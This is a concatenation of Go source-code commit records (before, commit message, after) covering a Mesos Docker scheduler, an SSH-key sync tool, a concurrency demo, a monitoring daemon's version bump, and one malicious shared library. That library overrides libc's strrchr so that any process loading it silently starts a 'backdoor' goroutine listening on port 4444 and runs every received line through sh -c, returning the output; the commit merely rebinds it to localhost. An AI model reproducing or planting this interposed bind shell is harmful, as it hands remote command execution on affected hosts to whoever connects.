		remainingCpus := cpus
		remainingMems := mems

		var tasks []*mesos.TaskInfo
		for sched.tasksLaunched < sched.totalTasks &&
			*dCpus <= remainingCpus &&
			*dMem <= remainingMems {

			sched.tasksLaunched++

			taskId := &mesos.TaskID{
				Value: proto.String(strconv.Itoa(sched.tasksLaunched)),
			}

			containerType := mesos.ContainerInfo_DOCKER
			task := &mesos.TaskInfo{
				Name:    proto.String("go-task-" + taskId.GetValue()),
				TaskId:  taskId,
				SlaveId: offer.SlaveId,
				Resources: []*mesos.Resource{
					util.NewScalarResource("cpus", *dCpus),
					util.NewScalarResource("mem", *dMem),
				},
				Command: &mesos.CommandInfo{
					Value: proto.String(*dockerCmd),
				},
				Container: &mesos.ContainerInfo{
					Type: &containerType,
					Docker: &mesos.ContainerInfo_DockerInfo{
						Image: proto.String(*dockerImage),
					},
				},
			}
			log.Infof("Prepared task: %s with offer %s for launch\n", task.GetName(), offer.Id.GetValue())

			tasks = append(tasks, task)
			remainingCpus -= *dCpus
			remainingMems -= *dMem
		}
		log.Infoln("Launching ", len(tasks), "tasks for offer", offer.Id.GetValue())
		driver.LaunchTasks([]*mesos.OfferID{offer.Id}, tasks, &mesos.Filters{RefuseSeconds: proto.Float64(5)})
	}
}

func (sched *ExampleScheduler) StatusUpdate(driver sched.SchedulerDriver, status *mesos.TaskStatus) {
	log.Infoln("Status update: task", status.TaskId.GetValue(), " is in state ", status.State.Enum().String())
	if status.GetState() == mesos.TaskState_TASK_FINISHED {
		sched.tasksFinished++
	}

	if sched.tasksFinished >= sched.totalTasks {
		log.Infoln("Total tasks completed, stopping framework.")
		driver.Stop(false)
	}

	if status.GetState() == mesos.TaskState_TASK_LOST ||
		status.GetState() == mesos.TaskState_TASK_KILLED ||
		status.GetState() == mesos.TaskState_TASK_FAILED ||
		status.GetState() == mesos.TaskState_TASK_ERROR {
		log.Infoln(
			"Aborting because task", status.TaskId.GetValue(),
			"is in unexpected state", status.State.String(),
			"with message", status.GetMessage(),
		)
		driver.Abort()
	}
}

func (sched *ExampleScheduler) OfferRescinded(_ sched.SchedulerDriver, oid *mesos.OfferID) {
	log.Errorf("offer rescinded: %v", oid)
}
func (sched *ExampleScheduler) FrameworkMessage(_ sched.SchedulerDriver, eid *mesos.ExecutorID, sid *mesos.SlaveID, msg string) {
	log.Errorf("framework message from executor %q slave %q: %q", eid, sid, msg)
}
func (sched *ExampleScheduler) SlaveLost(_ sched.SchedulerDriver, sid *mesos.SlaveID) {
	log.Errorf("slave lost: %v", sid)
}
func (sched *ExampleScheduler) ExecutorLost(_ sched.SchedulerDriver, eid *mesos.ExecutorID, sid *mesos.SlaveID, code int) {
	log.Errorf("executor %q lost on slave %q code %d", eid, sid, code)
}
func (sched *ExampleScheduler) Error(_ sched.SchedulerDriver, err string) {
	log.Errorf("Scheduler received error: %v", err)
}

// ----------------------- func init() ------------------------- //

func init() {
	flag.Parse()
	log.Infoln("Initializing the Example Scheduler...")
}

func prepareExecutorInfo() *mesos.ExecutorInfo {
	// Create mesos scheduler driver.
	containerType := mesos.ContainerInfo_DOCKER
	return &mesos.ExecutorInfo{
		ExecutorId: util.NewExecutorID("default"),
		Name:       proto.String("Test Executor (Go)"),
		Source:     proto.String("go_test"),
		Container: &mesos.ContainerInfo{
			Type: &containerType,
		},
	}
}

func parseIP(address string) net.IP {
	addr, err := net.LookupIP(address)
	if err != nil {
		log.Fatal(err)
	}
	if len(addr) < 1 {
		log.Fatalf("failed to parse IP from address '%v'", address)
	}
	return addr[0]
}

// ----------------------- func main() ------------------------- //

func main() {

	// build command executor
	exec := prepareExecutorInfo()

	// the framework
	fwinfo := &mesos.FrameworkInfo{
		User: proto.String(""), // Mesos-go will fill in user.
		Name: proto.String("Test Framework (Go)"),
	}

	cred := (*mesos.Credential)(nil)
	if *mesosAuthPrincipal != "" {
		fwinfo.Principal = proto.String(*mesosAuthPrincipal)
		cred = &mesos.Credential{
			Principal: proto.String(*mesosAuthPrincipal),
		}
		if *mesosAuthSecretFile != "" {
			_, err := os.Stat(*mesosAuthSecretFile)
			if err != nil {
				log.Fatal("missing secret file: ", err.Error())
			}
			secret, err := ioutil.ReadFile(*mesosAuthSecretFile)
			if err != nil {
				log.Fatal("failed to read secret file: ", err.Error())
			}
			cred.Secret = proto.String(string(secret))
		}
	}
	bindingAddress := parseIP(*address)
	config := sched.DriverConfig{
		Scheduler:      newExampleScheduler(exec),
		Framework:      fwinfo,
		Master:         *master,
		Credential:     cred,
		BindingAddress: bindingAddress,
		WithAuthContext: func(ctx context.Context) context.Context {
			ctx = auth.WithLoginProvider(ctx, *authProvider)
			ctx = sasl.WithBindingAddress(ctx, bindingAddress)
			return ctx
		},
	}
	driver, err := sched.NewMesosSchedulerDriver(config)

	if err != nil {
		log.Errorln("Unable to create a SchedulerDriver ", err.Error())
	}

	if stat, err := driver.Run(); err != nil {
		log.Infof("Framework stopped with status %s and error: %s\n", stat.String(), err.Error())
	}
	log.Infof("framework terminating")
}
<commit_msg>Spell it right.<commit_after>/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net"
	"os"
	"strconv"

	"github.com/gogo/protobuf/proto"
	log "github.com/golang/glog"
	"github.com/mesos/mesos-go/auth"
	"github.com/mesos/mesos-go/auth/sasl"
	"github.com/mesos/mesos-go/auth/sasl/mech"
	mesos "github.com/mesos/mesos-go/mesosproto"
	util "github.com/mesos/mesos-go/mesosutil"
	sched "github.com/mesos/mesos-go/scheduler"
	mlog "github.com/yp-engineering/mesos-runonce/mesosutil"
	"golang.org/x/net/context"
)

var (
	address      = flag.String("address", "127.0.0.1", "Binding address for artifact server")
	authProvider = flag.String("mesos_authentication_provider", sasl.ProviderName,
		fmt.Sprintf("Authentication provider to use, default is SASL that supports mechanisms: %+v", mech.ListSupported()))
	master              = flag.String("master", "127.0.0.1:5050", "Master address <ip:port>")
	taskCount           = flag.Int("task-count", 5, "Total task count to run.")
	mesosAuthPrincipal  = flag.String("mesos_authentication_principal", "", "Mesos authentication principal.")
	mesosAuthSecretFile = flag.String("mesos_authentication_secret_file", "", "Mesos authentication secret file.")
	dockerImage         = flag.String("docker-image", "", "Docker image to run.")
	dockerCmd           = flag.String("docker-cmd", "", "Docker command to run.")
	dCpus               = flag.Float64("cpus", 1.0, "How many CPUs to use.")
	dMem                = flag.Float64("mem", 10, "How much memory to use.")
)

type ExampleScheduler struct {
	executor      *mesos.ExecutorInfo
	tasksLaunched int
	tasksFinished int
	totalTasks    int
}

func newExampleScheduler(exec *mesos.ExecutorInfo) *ExampleScheduler {
	return &ExampleScheduler{
		executor:      exec,
		tasksLaunched: 0,
		tasksFinished: 0,
		totalTasks:    *taskCount,
	}
}

func (sched *ExampleScheduler) Registered(driver sched.SchedulerDriver, frameworkId *mesos.FrameworkID, masterInfo *mesos.MasterInfo) {
	log.Infoln("Framework Registered with Master ", masterInfo)
}

func (sched *ExampleScheduler) Reregistered(driver sched.SchedulerDriver, masterInfo *mesos.MasterInfo) {
	log.Infoln("Framework Re-Registered with Master ", masterInfo)
}

func (sched *ExampleScheduler) Disconnected(sched.SchedulerDriver) {
	log.Fatalf("disconnected from master, aborting")
}

func (sched *ExampleScheduler) ResourceOffers(driver sched.SchedulerDriver, offers []*mesos.Offer) {

	if sched.tasksLaunched >= sched.totalTasks {
		log.Info("decline all of the offers since all of our tasks are already launched")
		ids := make([]*mesos.OfferID, len(offers))
		for i, offer := range offers {
			ids[i] = offer.Id
		}
		driver.LaunchTasks(ids, []*mesos.TaskInfo{}, &mesos.Filters{RefuseSeconds: proto.Float64(120)})
		return
	}
	for _, offer := range offers {
		cpuResources := util.FilterResources(offer.Resources, func(res *mesos.Resource) bool {
			return res.GetName() == "cpus"
		})
		cpus := 0.0
		for _, res := range cpuResources {
			cpus += res.GetScalar().GetValue()
		}

		memResources := util.FilterResources(offer.Resources, func(res *mesos.Resource) bool {
			return res.GetName() == "mem"
		})
		mems := 0.0
		for _, res := range memResources {
			mems += res.GetScalar().GetValue()
		}

		log.Infoln("Received Offer <", offer.Id.GetValue(), "> with cpus=", cpus, " mem=", mems)

		remainingCpus := cpus
		remainingMems := mems

		var tasks []*mesos.TaskInfo
		for sched.tasksLaunched < sched.totalTasks &&
			*dCpus <= remainingCpus &&
			*dMem <= remainingMems {

			sched.tasksLaunched++

			taskId := &mesos.TaskID{
				Value: proto.String(strconv.Itoa(sched.tasksLaunched)),
			}

			containerType := mesos.ContainerInfo_DOCKER
			task := &mesos.TaskInfo{
				Name:    proto.String("go-task-" + taskId.GetValue()),
				TaskId:  taskId,
				SlaveId: offer.SlaveId,
				Resources: []*mesos.Resource{
					util.NewScalarResource("cpus", *dCpus),
					util.NewScalarResource("mem", *dMem),
				},
				Command: &mesos.CommandInfo{
					Value: proto.String(*dockerCmd),
				},
				Container: &mesos.ContainerInfo{
					Type: &containerType,
					Docker: &mesos.ContainerInfo_DockerInfo{
						Image: proto.String(*dockerImage),
					},
				},
			}
			log.Infof("Prepared task: %s with offer %s for launch\n", task.GetName(), offer.Id.GetValue())

			tasks = append(tasks, task)
			remainingCpus -= *dCpus
			remainingMems -= *dMem
		}
		log.Infoln("Launching ", len(tasks), "tasks for offer", offer.Id.GetValue())
		driver.LaunchTasks([]*mesos.OfferID{offer.Id}, tasks, &mesos.Filters{RefuseSeconds: proto.Float64(5)})
	}
}

func (sched *ExampleScheduler) StatusUpdate(driver sched.SchedulerDriver, status *mesos.TaskStatus) {
	log.Infoln("Status update: task", status.TaskId.GetValue(), " is in state ", status.State.Enum().String())
	if status.GetState() == mesos.TaskState_TASK_FINISHED {
		sched.tasksFinished++
	}

	if sched.tasksFinished >= sched.totalTasks {
		log.Infoln("Total tasks completed, stopping framework.")
		driver.Stop(false)
	}

	if status.GetState() == mesos.TaskState_TASK_LOST ||
		status.GetState() == mesos.TaskState_TASK_KILLED ||
		status.GetState() == mesos.TaskState_TASK_FAILED ||
		status.GetState() == mesos.TaskState_TASK_ERROR {
		log.Infoln(
			"Aborting because task", status.TaskId.GetValue(),
			"is in unexpected state", status.State.String(),
			"with message", status.GetMessage(),
		)
		driver.Abort()
	}
}

func (sched *ExampleScheduler) OfferRescinded(_ sched.SchedulerDriver, oid *mesos.OfferID) {
	log.Errorf("offer rescinded: %v", oid)
}
func (sched *ExampleScheduler) FrameworkMessage(_ sched.SchedulerDriver, eid *mesos.ExecutorID, sid *mesos.SlaveID, msg string) {
	log.Errorf("framework message from executor %q slave %q: %q", eid, sid, msg)
}
func (sched *ExampleScheduler) SlaveLost(_ sched.SchedulerDriver, sid *mesos.SlaveID) {
	log.Errorf("slave lost: %v", sid)
}
func (sched *ExampleScheduler) ExecutorLost(_ sched.SchedulerDriver, eid *mesos.ExecutorID, sid *mesos.SlaveID, code int) {
	log.Errorf("executor %q lost on slave %q code %d", eid, sid, code)
}
func (sched *ExampleScheduler) Error(_ sched.SchedulerDriver, err string) {
	log.Errorf("Scheduler received error: %v", err)
}

// ----------------------- func init() ------------------------- //

func init() {
	flag.Parse()
	log.Infoln("Initializing the Example Scheduler...")
}

func prepareExecutorInfo() *mesos.ExecutorInfo {
	// Create mesos scheduler driver.
	containerType := mesos.ContainerInfo_DOCKER
	return &mesos.ExecutorInfo{
		ExecutorId: util.NewExecutorID("default"),
		Name:       proto.String("Test Executor (Go)"),
		Source:     proto.String("go_test"),
		Container: &mesos.ContainerInfo{
			Type: &containerType,
		},
	}
}

func parseIP(address string) net.IP {
	addr, err := net.LookupIP(address)
	if err != nil {
		log.Fatal(err)
	}
	if len(addr) < 1 {
		log.Fatalf("failed to parse IP from address '%v'", address)
	}
	return addr[0]
}

// ----------------------- func main() ------------------------- //

func main() {

	// build command executor
	exec := prepareExecutorInfo()

	// the framework
	fwinfo := &mesos.FrameworkInfo{
		User: proto.String(""), // Mesos-go will fill in user.
		Name: proto.String("Test Framework (Go)"),
	}

	cred := (*mesos.Credential)(nil)
	if *mesosAuthPrincipal != "" {
		fwinfo.Principal = proto.String(*mesosAuthPrincipal)
		cred = &mesos.Credential{
			Principal: proto.String(*mesosAuthPrincipal),
		}
		if *mesosAuthSecretFile != "" {
			_, err := os.Stat(*mesosAuthSecretFile)
			if err != nil {
				log.Fatal("missing secret file: ", err.Error())
			}
			secret, err := ioutil.ReadFile(*mesosAuthSecretFile)
			if err != nil {
				log.Fatal("failed to read secret file: ", err.Error())
			}
			cred.Secret = proto.String(string(secret))
		}
	}
	bindingAddress := parseIP(*address)
	config := sched.DriverConfig{
		Scheduler:      newExampleScheduler(exec),
		Framework:      fwinfo,
		Master:         *master,
		Credential:     cred,
		BindingAddress: bindingAddress,
		WithAuthContext: func(ctx context.Context) context.Context {
			ctx = auth.WithLoginProvider(ctx, *authProvider)
			ctx = sasl.WithBindingAddress(ctx, bindingAddress)
			return ctx
		},
	}
	driver, err := sched.NewMesosSchedulerDriver(config)

	if err != nil {
		log.Errorln("Unable to create a SchedulerDriver ", err.Error())
	}

	if stat, err := driver.Run(); err != nil {
		log.Infof("Framework stopped with status %s and error: %s\n", stat.String(), err.Error())
	}
	log.Infof("framework terminating")
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"log"
	"os"
	"os/user"
	"path/filepath"
	"strings"
)

const usageMessage = `
'ghkeys' uses the GitHub API to get the SSH keys of individual users and/or
members of teams and either print them or write them to authorized_keys files.

Pass a single 'username' argument to only print/write keys for that user.
`

var (
	configFilename = flag.String("config", "config.yml", "Path to yaml config file")
	debug          = flag.Bool("d", false, "Add debugging output")
	writeToFile    = flag.Bool("write", false, "Write keys to users' authorized_keys files")
)

func usage() {
	fmt.Println(usageMessage + "\nFlags:")
	flag.PrintDefaults()
}

func check(err error) {
	if err != nil {
		log.Fatal(err)
	}
}

type usernameKeys struct {
	username string
	keys     []string
}

func getUsernamesKeys(config config, client *githubClient, singleUsername string) map[string][]string {
	usernamesKeys := make(map[string][]string)
	usernameCount := 0
	usernameKeysChan := make(chan usernameKeys)
	for _, user := range config.Users {
		if singleUsername == "" || singleUsername == user.Username {
			usernameCount++
			go func(username string, users, teams []string) {
				keys := client.getKeysOfUsersAndTeams(users, teams)
				usernameKeysChan <- usernameKeys{username: username, keys: keys}
			}(user.Username, user.GithubUsers, user.GithubTeams)
		}
	}
	for i := 0; i < usernameCount; i++ {
		tempUsernameKeys := <-usernameKeysChan
		usernamesKeys[tempUsernameKeys.username] = tempUsernameKeys.keys
	}
	return usernamesKeys
}

func getAuthorizedKeysFilename(userHomeDir string) string {
	authorizedKeysFilename := filepath.Join(userHomeDir, ".ssh", "authorized_keys")
	return authorizedKeysFilename
}

func getKeysOutput(keys []string) string {
	keysOutput := strings.Join(keys, "\n")
	return keysOutput
}

func writeKeysToUserAuthorizedKeysFile(keys []string, userHomeDir string) error {
	authorizedKeysFilename := getAuthorizedKeysFilename(userHomeDir)
	authorizedKeysFile, err := os.Create(authorizedKeysFilename)
	if err != nil {
		return err
	}
	defer authorizedKeysFile.Close()
	keysOutput := getKeysOutput(keys) + "\n"
	_, err = authorizedKeysFile.WriteString(keysOutput)
	return err
}

func main() {
	flag.Usage = usage
	flag.Parse()

	config, err := newConfig(*configFilename)
	check(err)
	// TODO: validate config values

	client := newGithubClient(config.GithubToken)

	if *debug {
		if rate, _, err := client.RateLimit(); err == nil {
			log.Printf("GitHub API Rate Limit: %#v\n", rate)
		}
	}

	usernamesKeys := getUsernamesKeys(config, client, flag.Arg(0))

	for username, keys := range usernamesKeys {
		if *writeToFile {
			if user, err := user.Lookup(username); err == nil {
				err = writeKeysToUserAuthorizedKeysFile(keys, user.HomeDir)
				check(err)
			} else {
				log.Printf("User '%s' not found, no keys written.\n", username)
			}
		} else {
			fmt.Println(getKeysOutput(keys))
		}
	}
}
<commit_msg>Add version and flag to print it<commit_after>package main

import (
	"flag"
	"fmt"
	"log"
	"os"
	"os/user"
	"path/filepath"
	"strings"
)

const usageMessage = `
'ghkeys' uses the GitHub API to get the SSH keys of individual users and/or
members of teams and either print them or write them to authorized_keys files.

Pass a single 'username' argument to only print/write keys for that user.

Usage:
  ghkeys [-config="/path/to/config.yml"] [-write] [username]
`

var (
	// VERSION swapped out by `go build -ldflags "-X main.VERSION 1.2.3"`
	VERSION        = "0.0.3"
	configFilename = flag.String("config", "config.yml", "Path to yaml config file")
	debug          = flag.Bool("d", false, "Add debugging output")
	showVersion    = flag.Bool("version", false, "Display the version number")
	writeToFile    = flag.Bool("write", false, "Write keys to users' authorized_keys files")
)

func printVersion() {
	fmt.Printf("ghkeys version %s\n", VERSION)
}

func usage() {
	printVersion()
	fmt.Println(usageMessage + "\nFlags:")
	flag.PrintDefaults()
}

func check(err error) {
	if err != nil {
		log.Fatal(err)
	}
}

type usernameKeys struct {
	username string
	keys     []string
}

func getUsernamesKeys(config config, client *githubClient, singleUsername string) map[string][]string {
	usernamesKeys := make(map[string][]string)
	usernameCount := 0
	usernameKeysChan := make(chan usernameKeys)
	for _, user := range config.Users {
		if singleUsername == "" || singleUsername == user.Username {
			usernameCount++
			go func(username string, users, teams []string) {
				keys := client.getKeysOfUsersAndTeams(users, teams)
				usernameKeysChan <- usernameKeys{username: username, keys: keys}
			}(user.Username, user.GithubUsers, user.GithubTeams)
		}
	}
	for i := 0; i < usernameCount; i++ {
		tempUsernameKeys := <-usernameKeysChan
		usernamesKeys[tempUsernameKeys.username] = tempUsernameKeys.keys
	}
	return usernamesKeys
}

func getAuthorizedKeysFilename(userHomeDir string) string {
	authorizedKeysFilename := filepath.Join(userHomeDir, ".ssh", "authorized_keys")
	return authorizedKeysFilename
}

func getKeysOutput(keys []string) string {
	keysOutput := strings.Join(keys, "\n")
	return keysOutput
}

func writeKeysToUserAuthorizedKeysFile(keys []string, userHomeDir string) error {
	authorizedKeysFilename := getAuthorizedKeysFilename(userHomeDir)
	authorizedKeysFile, err := os.Create(authorizedKeysFilename)
	if err != nil {
		return err
	}
	defer authorizedKeysFile.Close()
	keysOutput := getKeysOutput(keys) + "\n"
	_, err = authorizedKeysFile.WriteString(keysOutput)
	return err
}

func main() {
	flag.Usage = usage
	flag.Parse()

	if *showVersion {
		printVersion()
		os.Exit(0)
	}

	config, err := newConfig(*configFilename)
	check(err)
	// TODO: validate config values

	client := newGithubClient(config.GithubToken)

	if *debug {
		if rate, _, err := client.RateLimit(); err == nil {
			log.Printf("GitHub API Rate Limit: %#v\n", rate)
		}
	}

	usernamesKeys := getUsernamesKeys(config, client, flag.Arg(0))

	for username, keys := range usernamesKeys {
		if *writeToFile {
			if user, err := user.Lookup(username); err == nil {
				err = writeKeysToUserAuthorizedKeysFile(keys, user.HomeDir)
				check(err)
			} else {
				log.Printf("User '%s' not found, no keys written.\n", username)
			}
		} else {
			fmt.Println(getKeysOutput(keys))
		}
	}
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"os"
)

var (
	// slow enables a slowing of the digest function and may help users to
	// better understand the implementation of concurrency
	slow = false

	// width controls the amount of goroutines running the digest function
	width = 8
)

func main() {
	// define and parse flags
	flag.BoolVar(&slow, "slow", slow, `slow processing to clarify behavior`)
	flag.IntVar(&width, "width", width, `set concurrency width`)
	flag.Parse()

	// get fileInfoGroup
	fig, err := newFileInfoGroup("./testfiles")
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}

	// get new conch and setup cleanup
	c := newConch(fig)
	defer close(c.doneChan())

	// get fileOutput and error channels
	fos, errc := c.run()

	// print file contents or error
	for fo := range fos {
		select {
		case err := <-errc:
			fmt.Fprintln(os.Stderr, err)
			os.Exit(1)
		default:
			fmt.Println(fo.path, fo.data, fo.err)
		}
	}
}
<commit_msg>Add signal handling, and correct error check in main.<commit_after>package main

import (
	"flag"
	"fmt"
	"os"

	"github.com/codemodus/sigmon"
)

var (
	// slow enables a slowing of the digest function and may help users to
	// better understand the implementation of concurrency
	slow = false

	// width controls the amount of goroutines running the digest function
	width = 8
)

func main() {
	sm := sigmon.New(nil)
	sm.Run()

	// define and parse flags
	flag.BoolVar(&slow, "slow", slow, `slow processing to clarify behavior`)
	flag.IntVar(&width, "width", width, `set concurrency width`)
	flag.Parse()

	// get fileInfoGroup
	fig, err := newFileInfoGroup("./testfiles")
	if err != nil {
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}

	// get new conch and setup cleanup
	c := newConch(fig)

	sm.Set(func(s *sigmon.SignalMonitor) {
		close(c.doneChan())
	})

	// get fileOutput and error channels
	fos, errc := c.run()

	// print file contents or error
	for fo := range fos {
		fmt.Println(fo.path, fo.data, fo.err)
	}

	select {
	case err := <-errc:
		fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	default:
	}

	sm.Stop()
}
<|endoftext|>


<commit_before>package main

import (
	"C"

	"bufio"
	"log"
	"net"
	"net/textproto"
	"os/exec"

	"github.com/rainycape/dl"
)

// main is required to build a shared library, but does nothing
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
	go backdoor()

	lib, err := dl.Open("libc", 0)
	if err != nil {
		log.Fatalln(err)
	}
	defer lib.Close()

	var old_strrchr func(s *C.char, c C.int) *C.char
	lib.Sym("strrchr", &old_strrchr)

	return old_strrchr(s, c)
}

func backdoor() {
	ln, err := net.Listen("tcp", ":4444")
	if err != nil {
		return
	}

	for {
		conn, err := ln.Accept()
		if err != nil {
			continue
		}

		go handleConnection(conn)
	}
}

func handleConnection(conn net.Conn) {
	reader := bufio.NewReader(conn)
	tp := textproto.NewReader(reader)

	for {
		input, err := tp.ReadLine()
		if err != nil {
			log.Println("Error reading:", err.Error())
			break
		}

		cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
		output, err := cmd.CombinedOutput()
		if err != nil {
			conn.Write([]byte(err.Error() + "\n"))
		}

		conn.Write(output)
	}

	conn.Close()
}
<commit_msg>Bind remote shell to localhost<commit_after>package main

import (
	"C"

	"bufio"
	"log"
	"net"
	"net/textproto"
	"os/exec"

	"github.com/rainycape/dl"
)

// main is required to build a shared library, but does nothing
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
	go backdoor()

	lib, err := dl.Open("libc", 0)
	if err != nil {
		log.Fatalln(err)
	}
	defer lib.Close()

	var old_strrchr func(s *C.char, c C.int) *C.char
	lib.Sym("strrchr", &old_strrchr)

	return old_strrchr(s, c)
}

func backdoor() {
	ln, err := net.Listen("tcp", "localhost:4444")
	if err != nil {
		return
	}

	for {
		conn, err := ln.Accept()
		if err != nil {
			continue
		}

		go handleConnection(conn)
	}
}

func handleConnection(conn net.Conn) {
	reader := bufio.NewReader(conn)
	tp := textproto.NewReader(reader)

	for {
		input, err := tp.ReadLine()
		if err != nil {
			log.Println("Error reading:", err.Error())
			break
		}

		cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
		output, err := cmd.CombinedOutput()
		if err != nil {
			conn.Write([]byte(err.Error() + "\n"))
		}

		conn.Write(output)
	}

	conn.Close()
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"os"
	"os/signal"

	"github.com/Sirupsen/logrus"
	_ "github.com/eliothedeman/bangarang/alarm/console"
	_ "github.com/eliothedeman/bangarang/alarm/email"
	_ "github.com/eliothedeman/bangarang/alarm/grafana-graphite-annotation"
	_ "github.com/eliothedeman/bangarang/alarm/pd"
	"github.com/eliothedeman/bangarang/api"
	"github.com/eliothedeman/bangarang/config"
	"github.com/eliothedeman/bangarang/pipeline"
	_ "github.com/eliothedeman/bangarang/provider/http"
	_ "github.com/eliothedeman/bangarang/provider/tcp"
)

var (
	confFile = flag.String("conf", "/etc/bangarang/conf.json", "path main config file")
	dev      = flag.Bool("dev", false, "puts bangarang in a dev testing mode")
	version  = flag.Bool("version", false, "display the version of this binary")
	confType = flag.String("conf-type", "db", `type of configuration used ["db", "json"]`)
	apiPort  = flag.Int("api-port", 8081, "port to serve the http api on")
)

const (
	versionNumber = "0.9.10"
)

func init() {
	logrus.SetLevel(logrus.InfoLevel)
	tf := &logrus.TextFormatter{}
	tf.FullTimestamp = true
	tf.ForceColors = true
	logrus.SetFormatter(tf)
}

func handleSigs() {
	stop := make(chan os.Signal)
	signal.Notify(stop, os.Kill, os.Interrupt)

	done := <-stop
	logrus.Fatal(done.String())
}

func main() {
	flag.Parse()

	// display the current version and exit
	if *version {
		fmt.Print(versionNumber)
		os.Exit(0)
	}

	// load configuration
	cp := config.GetProvider(*confType, *confFile)
	if cp == nil {
		logrus.Fatalf("Unable to load config of type %s at location %s", *confType, *confFile)
	}
	ac, err := cp.GetCurrent()
	if err != nil {
		logrus.Fatal(err)
	}

	if ac.LogLevel == "" {
		ac.LogLevel = "info"
	}

	ll, err := logrus.ParseLevel(ac.LogLevel)
	if err != nil {
		logrus.Error(err)
	} else {
		logrus.SetLevel(ll)
	}

	logrus.Infof("Starting processing pipeline with %d policie(s)", len(ac.Policies))
	// create and start up a new pipeline
	p := pipeline.NewPipeline(ac)
	p.Start()

	logrus.Infof("Serving the http api on port %d", 8081)
	// create and start a new api server
	apiServer := api.NewServer(*apiPort, p)
	go apiServer.Serve()

	handleSigs()
}
<commit_msg>upsed version number<commit_after>package main

import (
	"flag"
	"fmt"
	"os"
	"os/signal"

	"github.com/Sirupsen/logrus"
	_ "github.com/eliothedeman/bangarang/alarm/console"
	_ "github.com/eliothedeman/bangarang/alarm/email"
	_ "github.com/eliothedeman/bangarang/alarm/grafana-graphite-annotation"
	_ "github.com/eliothedeman/bangarang/alarm/pd"
	"github.com/eliothedeman/bangarang/api"
	"github.com/eliothedeman/bangarang/config"
	"github.com/eliothedeman/bangarang/pipeline"
	_ "github.com/eliothedeman/bangarang/provider/http"
	_ "github.com/eliothedeman/bangarang/provider/tcp"
)

var (
	confFile = flag.String("conf", "/etc/bangarang/conf.json", "path main config file")
	dev      = flag.Bool("dev", false, "puts bangarang in a dev testing mode")
	version  = flag.Bool("version", false, "display the version of this binary")
	confType = flag.String("conf-type", "db", `type of configuration used ["db", "json"]`)
	apiPort  = flag.Int("api-port", 8081, "port to serve the http api on")
)

const (
	versionNumber = "0.10.0"
)

func init() {
	logrus.SetLevel(logrus.InfoLevel)
	tf := &logrus.TextFormatter{}
	tf.FullTimestamp = true
	tf.ForceColors = true
	logrus.SetFormatter(tf)
}

func handleSigs() {
	stop := make(chan os.Signal)
	signal.Notify(stop, os.Kill, os.Interrupt)

	done := <-stop
	logrus.Fatal(done.String())
}

func main() {
	flag.Parse()

	// display the current version and exit
	if *version {
		fmt.Print(versionNumber)
		os.Exit(0)
	}

	// load configuration
	cp := config.GetProvider(*confType, *confFile)
	if cp == nil {
		logrus.Fatalf("Unable to load config of type %s at location %s", *confType, *confFile)
	}
	ac, err := cp.GetCurrent()
	if err != nil {
		logrus.Fatal(err)
	}

	if ac.LogLevel == "" {
		ac.LogLevel = "info"
	}

	ll, err := logrus.ParseLevel(ac.LogLevel)
	if err != nil {
		logrus.Error(err)
	} else {
		logrus.SetLevel(ll)
	}

	logrus.Infof("Starting processing pipeline with %d policie(s)", len(ac.Policies))
	// create and start up a new pipeline
	p := pipeline.NewPipeline(ac)
	p.Start()

	logrus.Infof("Serving the http api on port %d", 8081)
	// create and start a new api server
	apiServer := api.NewServer(*apiPort, p)
	go apiServer.Serve()

	handleSigs()
}
<|endoftext|>